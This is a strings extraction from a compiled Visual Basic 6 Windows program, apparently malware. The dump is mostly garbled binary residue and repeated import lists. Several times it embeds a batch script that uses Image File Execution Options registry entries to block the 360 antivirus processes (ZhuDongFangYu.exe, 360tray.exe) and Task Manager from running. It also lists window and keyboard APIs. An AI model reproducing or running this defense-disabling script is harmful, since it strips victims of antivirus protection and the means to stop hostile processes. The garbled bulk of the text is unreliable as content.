QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
E990C7F254AFFB40E4F8CC0788E2F17B
75210BD444E7C1EEF190F78A0DCA172A
CB42CF9E8D3246DB9A720B092AEE26F2
FD8FF6F17CFFED7E4027C391D213E9F4
84ED3022B3230383BE8BFCE903E68ACB
DCD5D9C1068016EED1E116CA204EF9F8
7657240CD389E40AA4025DEB5C25BC00
9D183D4775C8E88961F4247B02E71E01
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
__vbaLenBstr
__vbaFreeVar
__vbaStrCat
__vbaStrMove
__vbaI2I4
__vbaUI1I2
__vbaAryConstruct2
__vbaFpUI1
__vbaVarCat
__vbaStrVarMove
__vbaUI1I4
__vbaVar2Vec
__vbaGosubFree
__vbaExitProc
__vbaGetOwner3
__vbaGosub
__vbaErase
__vbaLenVarB
__vbaAryMove
__vbaGenerateBoundsError
__vbaStrI4
FileType
SourceString
InFile
InputLen
InputBuffer
}}}}}}}|l\EWEPE
EPlPEPt
MJSEP.PSj
M3EPPu
lXEP@Puy0@X
XP7M)j
tSlPEP
XMfXf9X
#fXEPEPj
EPlPEPt
MSEPPSj
MEPPux
uEPEPj
SEP*L]L9E
MEPHEPEPj
MX|PEPj
} jdh<3@
hPEPEPE
} jPh3@
} jXh3@
MEPEPEPEPj
hPfEhOE
uujj E
MhPEPEPE
HP8P(PPPEP|
P|PEPEP9P
P|PDEPEPP
jj MmE
;PEP7E
PxP8PHP(PP
PPPPPPPP{PxPhPgj
EPXPJ
M9hPxPPPPPPPPP
PHP8PXPhPj
PxPx|x
} jPh3@
} jXh3@
1EPEPEPEPj
EPEPEPEPj
XPhPxPPPPPPPPP
P(P8PHPXPhPj
LSVWeE
VuEPgP3
EPHM`EUM
McM+MS
PEPDEEPE
jTh,3@
jPh,3@
EP@Pu>MDE
SVWeEP
SVWeE`
M_h6]@
SVWeEp
MKhJ^@
TSVWeE
]]]]P8;}
VPHEPEP
P$MQMQE
j@WVPM
MQVP4;}
UM]h_@
EP3S#EPS
j\XXSVWeE
PPuVj@YE
M/M'MO
HSVWeE
VEPEP}}}
EWEPEP+P
WVEPEP]E
MJEPEP
3EPEPj
4SVWeE
QV}}}}
QVPLuuB
EPEPEPEPEPEPj
EPEPEPEPEPEPj
E_EEPE
P]}u-EPEPEP"P"
MEPEPj
>EEEPE
Es^uS'EEEEPEP}u;EPEPEP0P0
MEPEPEPj
EEEEPEP}uEPEPEP
EEEEPEP}u1EPEPEP&P&
MEPEPEPj
EEEEPEP}u
EPEPEP
EEPEP}u
EPEPEP
EPEPEPj
EEPEP}unEPEPEPcPc
M)EPEPj
EPEPEPj
SVWeE0
MQMQ}}]V}~PPp
MQMQVPp
MQMQVPp
MQMQVPpFDMH
XSVWeE8
EP]]]]
EEj@_]E
jxX+MQM
MQMQVPpM
MQMQVPpE]E=
MQMQVPpE]E=
MQMQVPpE]E=
MQMEQE
VPOhl@
LSVWeEH
NPj@_e
f;EE~]
E\f;EE
VPPfEf
HSVWeEP
EEEEEEEEh9@
MQEMEQE
MQMQMQu
MQMQMQMQVExjE
MQMQMQM
QMQMQMQMQEVE
MQMQMQM
QMQMQMQMQVEp $]PXj
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME*
QMQMQMQMQVPX
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVPX
MQMQMQM
(QMQMQMQMQVE[]PX
MQMQMQM
,QMQMQMQMQVE\}PX
MQMQMQM
0QMQMQME"
QMQVPX
MQMQMQM
4QMQMQMQMQVEqE
MQMQMQM
8QMQMQMQMQVECy]PX
MQMQMQM
<QMQMQMQMQVE!
MQMQMQMEb%
QMQMQMQMQVP\
MQMQMQM
QMQMQMQMQVE@@E
MQMQMQM
,QMQMQMQMQVEQZ^&]P\j
MQMQMQu
MQMQMQMQVE
MQMQMQM
QMQMQMQMQVP\
MQMQMQM
(QMQMQMQMQVES
MQMQMQM
<QMQMQMQMQVE
MQMQMQM
QMQMQE}MQMQVP\
MQMQMQM
$QMQMQMQMQVE!E
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVE
MQMQMQME
ZE} QMQMQMQMQVP\
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVEE
MQMQMQM
QMQMQMQMQVE
EL*}MQMQMQM
0QMQMQMQMQVP\j
MQMQMQM
QMQMQMQMQVEB9]P`
MQMQMQM
QMQMQMQMQVEqE
_MQMQMQM
,QME"am}QMQMQMQVP`
MQMQMQM
8QMQMQMQMQVE
MQMQMQM
QMQMQMQMQVED
MQMQMQM
QMQMQMQMQVEKE
MQME`K}QMQM
QMQMQMQMQVP`
MQMQMQM
(QMQMQMQMQVEpE
MQMQMQM
4QMQMQMQMQVE~(]P`
MQMQMQu
MQMQMQMQVE'E
MQMQMQM
QMQMQMQMQVP`
MQMQMQM
QMQMQMQMQVE
MQMQMQM
$QMQMQMQMQVE9
MQMQMQM
0QMQMQEE
MQMQVP`
MQMQMQM
<QMQMQMQMQVE|}P`
MQMQMQM
QMQMQMQMQVEeVE
MQMQMQu
MQMQMQMQVED")E
MQMQMQM
QMQMQMQMQVPd
MQMQMQM
8QMQMQMQMQVE#E
MQMQMQM
QMQMQMQMQVE9E
MQMQMQM
0QMQMQMQMQVEY[eE
QMQMQM
QMQMQMQMQVPd
MQMQMQM
(QMQMQMQMQVE}E
MQMQMQM
QMQMQMQMQVE]E
MQMQMQM
QMQMQMQMEO~oE
MQMQMQM
<QMQMQMQMQVE,E
MQMQMQM
QMQMQMQMQVE
MQMQMQM
4QMQMQMQMQVE
MQMQMQM
MQMQMQMQVPd
MQMQMQM
,QMQMQMQMQVE5:E
MQMQMQM
QMQMQMQMQVE*E
MQMQMQM
$QMQMQMQMQVE
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
MQMQND
QVPhFDMH
S3Wf8f
f;]]]]
QWVPlEM
QWVPlEM
QWVPlEM
QWVPlEM
SVWeE`
V3EEEE
MSVBVM60.DLL
_CIcos
_adj_fptan
__vbaStrI4
__vbaVarMove
__vbaAryMove
__vbaFreeVar
__vbaStrVarMove
__vbaLenBstr
__vbaFreeVarList
__vbaEnd
_adj_fdiv_m64
__vbaFreeObjList
_adj_fprem1
__vbaStrCat
__vbaError
__vbaSetSystemError
__vbaHresultCheckObj
_adj_fdiv_m32
__vbaAryDestruct
__vbaExitProc
__vbaVarForInit
__vbaObjSet
__vbaOnError
_adj_fdiv_m16i
_adj_fdivr_m16i
_CIsin
__vbaErase
__vbaChkstk
__vbaGosubFree
__vbaFileClose
EVENT_SINK_AddRef
__vbaGenerateBoundsError
__vbaAryConstruct2
__vbaPutOwner4
__vbaI2I4
DllFunctionCall
__vbaFpUI1
__vbaRedimPreserve
__vbaStrR4
_adj_fpatan
__vbaFixstrConstruct
__vbaRedim
EVENT_SINK_Release
__vbaNew
__vbaUI1I2
_CIsqrt
EVENT_SINK_QueryInterface
__vbaUI1I4
__vbaExceptHandler
__vbaPrintFile
__vbaStrToUnicode
_adj_fprem
_adj_fdivr_m64
__vbaGosub
__vbaFPException
__vbaGetOwner3
__vbaStrVarVal
__vbaVarCat
__vbaGetOwner4
__vbaI2Var
__vbaLsetFixstrFree
_CIlog
__vbaErrorOverflow
__vbaFileOpen
__vbaVar2Vec
__vbaNew2
_adj_fdiv_m32i
_adj_fdivr_m32i
__vbaStrCopy
__vbaVarSetObj
__vbaFreeStrList
__vbaDerefAry1
_adj_fdivr_m32
_adj_fdiv_r
__vbaVarTstNe
__vbaI4Var
__vbaVarAdd
__vbaAryLock
__vbaVarDup
__vbaStrToAnsi
__vbaVarLateMemCallLd
__vbaFpI4
__vbaVarCopy
__vbaVarSetObjAddref
_CIatan
__vbaStrMove
__vbaStrVarCopy
_allmul
__vbaLenVarB
_CItan
__vbaAryUnlock
__vbaFPInt
__vbaVarForNext
_CIexp
__vbaFreeStr
__vbaFreeObj
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
C:\Users\Administrator\Desktop\
2.X.pdb
49431AAD794634219A639C6C541A3D96
E8A7EA76E1854769DE340A9B8C435D05
78493ED5434848C66C6270A8C3C17E8F
96782471E1F42F0E5192DEF8D34ADF52
62A15B7205C4F5C57A85B0D3069C33A9
9FFC7CA89A523E8929336726D7773437
D3436C5275093FAF2564D1686B09A90D
E3338793698E1606AF47D324D912D726
EC9586D14581D3BBA0F9E75718021738
1F6866DA5904181AB78CB92397A612F3
L!This program cannot be run in DOS mode.
#BBBL^B`BdBRichB
`.data
MSVBVM60.DLL
rjrbrrr
rvjrNr:
rrbr*<r}Artr
rr4ur9
r}irWr!NrwrSr+rgr
=r:r7ruBr
Vr2Cr:
rJlrr
rrar5r
r$br/Nrwr
rrpurkrmrIrr0lrF
yE81$HH
M%-:O3f
2.X By:znkzz
S!!#uR
zzzzzzzz
zzzzzzz
zzzzzzzz
zUzzyQz
zzzzzzzzz-
zzzzzzzz-
zzzzzzzzz
zzzzzzzzzzz
zzzzzzzzf
zzzzzzzG
zzzzzzzzz
zzzzzzzzzzzz
Timer2
Timer1
Label3
@echo off
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\ZhuDongFangYu.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\360tray.exe" /v debugger /t reg_sz /d "ntsd -d" /f
reg add "hklm\software\microsoft\windows nt\currentversion\Image File Execution Options\taskmgr.exe" /v debugger /t reg_sz /d "ntsd -d" /f
Label2
Label1
Label1
yE81$H
VB5!6&vb6chs.dll
zE!~@Jke
Class1
yE81$H^pqD
Label1
+3qC:\Program Files (x86)\Microsoft Visual Studio\VB98\VB6.OLB
Timer1
Timer2
Label2
Label3
user32
keybd_event
GetForegroundWindow
user32.dll
GetWindowTextA
GetWindowTextLengthA
FindWindowA
SetWindowTextA
SearchFiles
getCaption
+3q"=h
+3qhJu
+3qClass
C:\windows\SysWow64\MSVBVM60.DLL\3
RegisterA
RegisterB
RegisterC
RegisterD
Md5_String_Calc
Md5_File_Calc
GetValues
MD5Init
MD5Final
MD5Update
LongLeftRotate
__vbaVarSetObjAddref
VBA6.DLL
__vbaStrVarVal
__vbaVarCopy
__vbaStrToUnicode
__vbaStrToAnsi
__vbaSetSystemError
__vbaLsetFixstrFree
__vbaVarForNext
__vbaFpI4
__vbaFPInt
__vbaStrR4
__vbaVarLateMemCallLd
__vbaNew
__vbaVarSetObj
__vbaPutOwner4
__vbaStrVarCopy
__vbaPrintFile
__vbaI2Var
__vbaVarForInit
__vbaFileClose
__vbaGetOwner4
__vbaRedim
__vbaFileOpen
__vbaEnd
__vbaFreeObjList
__vbaNew2
__vbaVarDup
__vbaOnError
__vbaFixstrConstruct
__vbaErrorOverflow
__vbaAryDestruct
__vbaFreeVarList
__vbaAryUnlock
__vbaAryLock
__vbaFreeStrList
__vbaVarTstNe
__vbaFreeObj
__vbaHresultCheckObj
__vbaObjSet
__vbaVarMove
__vbaError
__vbaFreeStr
__vbaDerefAry1
__vbaStrCopy
__vbaI4Var
__vbaRedimPreserve
__vbaVarAdd
